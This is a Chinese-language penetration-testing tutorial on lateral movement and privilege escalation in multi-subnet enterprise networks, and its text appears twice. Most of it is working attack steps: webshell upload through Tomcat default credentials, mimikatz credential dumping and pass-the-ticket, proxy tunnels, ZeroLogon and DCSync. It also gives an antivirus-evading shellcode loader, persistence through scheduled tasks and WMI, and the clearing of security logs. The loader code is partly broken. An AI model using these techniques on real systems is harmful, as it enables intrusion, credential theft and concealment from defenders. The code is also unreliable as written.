1. VPC环境下的内网渗透基础在开始实战之前我们需要先搞清楚几个关键概念。VPCVirtual Private Cloud就像是一个企业内部的专属网络空间不同部门可能被划分到不同的网段中彼此之间通过防火墙和路由规则进行隔离。这种架构在提升安全性的同时也给渗透测试带来了独特挑战。我遇到过不少企业网络表面上看起来固若金汤实际上内部网段间的防护往往存在薄弱环节。就拿去年的一次实战来说从一台边缘Web服务器入手最终拿下了整个域控靠的就是对多网段环境的深入理解。下面这些基础知识你需要牢牢掌握网络拓扑识别使用arp-scan -l或nmap -sn快速扫描当前网段存活主机路由信息收集Windows下用route printLinux下用ip route show代理搭建技巧常用reGeorg、EarthWorm等工具建立隧道防火墙策略探测通过netsh advfirewall show currentprofile查看策略2. 初始突破与立足点建立实战中Web应用往往是最容易突破的入口。记得有次遇到一个Tomcat后台用默认凭证tomcat/tomcat就直接进去了这种低级错误在真实环境里居然屡见不鲜。典型攻击流程使用哥斯拉生成jsp马java -jar Godzilla.jar --gui打包为WAR文件zip -r shell.war shell.jsp通过Tomcat管理页面上传后访问http://target:8080/shell/shell.jsp上线CS后别急着横向移动先做好这几件事抓取密码哈希mimikatz sekurlsa::logonpasswords查看网络配置ipconfig /all检查域信息net config workstation收集凭证文件搜索桌面、文档中的config、password等关键词3. 多网段横向渗透实战当发现当前网段存在多个子网时我通常会按照这个步骤推进3.1 代理隧道搭建推荐使用EarthWorm进行多级代理# 目标机器执行正向代理 ew -s rcsocks -l 1080 -e 1024 # 攻击机执行连接代理 ew -s rssocks -d target_ip -e 10243.2 跨网段扫描技巧通过代理后建议使用这些方法扫描Nmap绕过防火墙nmap -sS -Pn -n --scriptsmb-os-discovery --proxy socks4://127.0.0.1:1080 192.168.3.0/24Fscan高效扫描fscan -h 192.168.3.0/24 -p 21,22,80,445,3389 -o result.txt3.3 票据传递攻击实战当获取到域用户凭证后票据传递是最有效的横向移动手段# 获取Kerberos票据 mimikatz kerberos::ask /target:DC.domain.com # 导出票据 mimikatz kerberos::list /export # 注入票据 mimikatz kerberos::ptt ticket.kirbi4. 权限提升与域控突破4.1 本地提权常用手法遇到Windows服务器时这些方法成功率较高服务路径劫持检查可写服务路径wmic service get name,displayname,pathname,startmode | findstr /i autoAlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated4.2 域控攻击实战针对域控的几种致命攻击方式ZeroLogon漏洞利用python cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IPDCSync攻击mimikatz lsadump::dcsync /domain:domain.com /user:administrator委派攻击Get-NetComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto5. 免杀与持久化技巧企业环境通常部署了杀毒软件需要特别处理5.1 加载器免杀方案这个C加载器我用了很久都没被查杀#include Windows.h #include fstream void ExecuteShellcode(char* buf) { void* exec VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof(buf)); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); } int main() { std::ifstream file(shell.bin, std::ios::binary); file.seekg(0, std::ios::end); size_t size file.tellg(); char* shellcode new char[size]; file.seekg(0, std::ios::beg); file.read(shellcode, size); ExecuteShellcode(shellcode); return 0; }5.2 隐蔽持久化方法比起常规的启动项这些方式更隐蔽计划任务schtasks /create /tn UpdateService /tr C:\malware.exe /sc hourly /mo 1WMI事件订阅$filterArgs {NameUpdateFilter; EventNameSpaceroot\cimv2; QueryLanguageWQL; QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System} $consumerArgs {NameUpdateConsumer; CommandLineTemplateC:\Windows\System32\malware.exe}6. 痕迹清理与防御建议完成渗透后记得清理这些痕迹日志清除Clear-EventLog -LogName Security文件时间戳修改copy /b malware.exe ,,给防御方的建议启用LSA保护限制NTLM使用监控异常票据请求定期检查域控异常日志在实际渗透中最大的挑战往往不是技术本身而是保持足够的耐心。有次为了突破一个金融企业的防御我花了三周时间慢慢摸清他们的网络架构最终从一个被遗忘的测试服务器找到了突破口。记住内网渗透是场持久战急不得。
内网渗透实战:VPC环境下的多网段横向移动与权限提升
1. VPC环境下的内网渗透基础在开始实战之前我们需要先搞清楚几个关键概念。VPCVirtual Private Cloud就像是一个企业内部的专属网络空间不同部门可能被划分到不同的网段中彼此之间通过防火墙和路由规则进行隔离。这种架构在提升安全性的同时也给渗透测试带来了独特挑战。我遇到过不少企业网络表面上看起来固若金汤实际上内部网段间的防护往往存在薄弱环节。就拿去年的一次实战来说从一台边缘Web服务器入手最终拿下了整个域控靠的就是对多网段环境的深入理解。下面这些基础知识你需要牢牢掌握网络拓扑识别使用arp-scan -l或nmap -sn快速扫描当前网段存活主机路由信息收集Windows下用route printLinux下用ip route show代理搭建技巧常用reGeorg、EarthWorm等工具建立隧道防火墙策略探测通过netsh advfirewall show currentprofile查看策略2. 初始突破与立足点建立实战中Web应用往往是最容易突破的入口。记得有次遇到一个Tomcat后台用默认凭证tomcat/tomcat就直接进去了这种低级错误在真实环境里居然屡见不鲜。典型攻击流程使用哥斯拉生成jsp马java -jar Godzilla.jar --gui打包为WAR文件zip -r shell.war shell.jsp通过Tomcat管理页面上传后访问http://target:8080/shell/shell.jsp上线CS后别急着横向移动先做好这几件事抓取密码哈希mimikatz sekurlsa::logonpasswords查看网络配置ipconfig /all检查域信息net config workstation收集凭证文件搜索桌面、文档中的config、password等关键词3. 多网段横向渗透实战当发现当前网段存在多个子网时我通常会按照这个步骤推进3.1 代理隧道搭建推荐使用EarthWorm进行多级代理# 目标机器执行正向代理 ew -s rcsocks -l 1080 -e 1024 # 攻击机执行连接代理 ew -s rssocks -d target_ip -e 10243.2 跨网段扫描技巧通过代理后建议使用这些方法扫描Nmap绕过防火墙nmap -sS -Pn -n --scriptsmb-os-discovery --proxy socks4://127.0.0.1:1080 192.168.3.0/24Fscan高效扫描fscan -h 192.168.3.0/24 -p 21,22,80,445,3389 -o result.txt3.3 票据传递攻击实战当获取到域用户凭证后票据传递是最有效的横向移动手段# 获取Kerberos票据 mimikatz kerberos::ask /target:DC.domain.com # 导出票据 mimikatz kerberos::list /export # 注入票据 mimikatz kerberos::ptt ticket.kirbi4. 权限提升与域控突破4.1 本地提权常用手法遇到Windows服务器时这些方法成功率较高服务路径劫持检查可写服务路径wmic service get name,displayname,pathname,startmode | findstr /i autoAlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated4.2 域控攻击实战针对域控的几种致命攻击方式ZeroLogon漏洞利用python cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IPDCSync攻击mimikatz lsadump::dcsync /domain:domain.com /user:administrator委派攻击Get-NetComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto5. 免杀与持久化技巧企业环境通常部署了杀毒软件需要特别处理5.1 加载器免杀方案这个C加载器我用了很久都没被查杀#include Windows.h #include fstream void ExecuteShellcode(char* buf) { void* exec VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof(buf)); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); } int main() { std::ifstream file(shell.bin, std::ios::binary); file.seekg(0, std::ios::end); size_t size file.tellg(); char* shellcode new char[size]; file.seekg(0, std::ios::beg); file.read(shellcode, size); ExecuteShellcode(shellcode); return 0; }5.2 隐蔽持久化方法比起常规的启动项这些方式更隐蔽计划任务schtasks /create /tn UpdateService /tr C:\malware.exe /sc hourly /mo 1WMI事件订阅$filterArgs {NameUpdateFilter; EventNameSpaceroot\cimv2; QueryLanguageWQL; QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System} $consumerArgs {NameUpdateConsumer; CommandLineTemplateC:\Windows\System32\malware.exe}6. 痕迹清理与防御建议完成渗透后记得清理这些痕迹日志清除Clear-EventLog -LogName Security文件时间戳修改copy /b malware.exe ,,给防御方的建议启用LSA保护限制NTLM使用监控异常票据请求定期检查域控异常日志在实际渗透中最大的挑战往往不是技术本身而是保持足够的耐心。有次为了突破一个金融企业的防御我花了三周时间慢慢摸清他们的网络架构最终从一个被遗忘的测试服务器找到了突破口。记住内网渗透是场持久战急不得。